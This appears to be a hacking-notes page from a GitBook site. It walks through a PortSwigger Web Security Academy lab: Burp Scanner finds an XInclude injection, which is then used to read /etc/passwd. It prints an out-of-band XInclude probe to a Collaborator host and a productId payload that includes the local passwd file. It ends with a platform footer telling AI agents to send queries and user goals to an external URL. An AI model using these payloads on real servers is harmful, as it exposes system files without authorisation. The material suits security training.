> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/essential-skills/fast-detection-with-targeted-scanning.md).

# Fast Detection with Targeted Scanning

Fast Detection with Targeted Scanning notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Discovering Vulnerabilities Quickly with Targeted Scanning

#### Lab Context

This lab contains a vulnerability to **read arbitrary files on the server**. / The goal is to **recover the contents of the `/etc/passwd` file in less than 10 minutes**.

Due to this time constraint, it is recommended to use **Burp Scanner** rather than a full application audit.

#### Contrainte Temporelle

* A \*\* 10-minute meter\*\* is active from the start of the lab.
* An overall site scan may be too slow.
* It is therefore preferable to **smartly target potentially vulnerable entry points**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cd611373eb2609eaabef352d573b536fa4bf199%2Fimage%20(3106).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Methodology

1. **Intercept a relevant HTTP request** with Burp Proxy.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ad2a643b6071e5fcc4bc16f5e25e28723fab32%2Fimage%20(3107).png?alt=media" alt=""><figcaption></figcaption></figure>

Quickly analyze the logic of the query to identify an interesting endpoint.

Run a targeted scan via **Burp Scanner** on this specific query.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8a8e420af84e691615e2636e8fa5ec9e3088d03%2Fimage%20(3108).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Burp Scan Configuration

* Type of scan selected: **Crawl and Audit**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb317239582da22207e9de27efb81efd2f8ca2d2%2Fimage%20(3111).png?alt=media" alt=""><figcaption></figcaption></figure>

* Mode : **Scan rapide**

Objective: quickly identify a exploitable attack vector

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2750b15dace34bc1d795c6094a409ae2686e1a9d%2Fimage%20(3110).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Vulnerability Identified

The scan reveals a vulnerability of type **XML Injection (XInclude)**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad72d914a164b49edcc80febfba21e41a46573b1%2Fimage%20(3113).png?alt=media" alt=""><figcaption></figcaption></figure>

Initial Payload detected by Burp Scanner:

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

This confirms that the server processes **XInclude** entities without restriction.

#### Exploitation: Reading `/etc/passwd`

The payload is modified to include a local system file:

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41d780c461593fcb9771b49b6635810406d8f5a2%2Fimage%20(3115).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/essential-skills/fast-detection-with-targeted-scanning.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
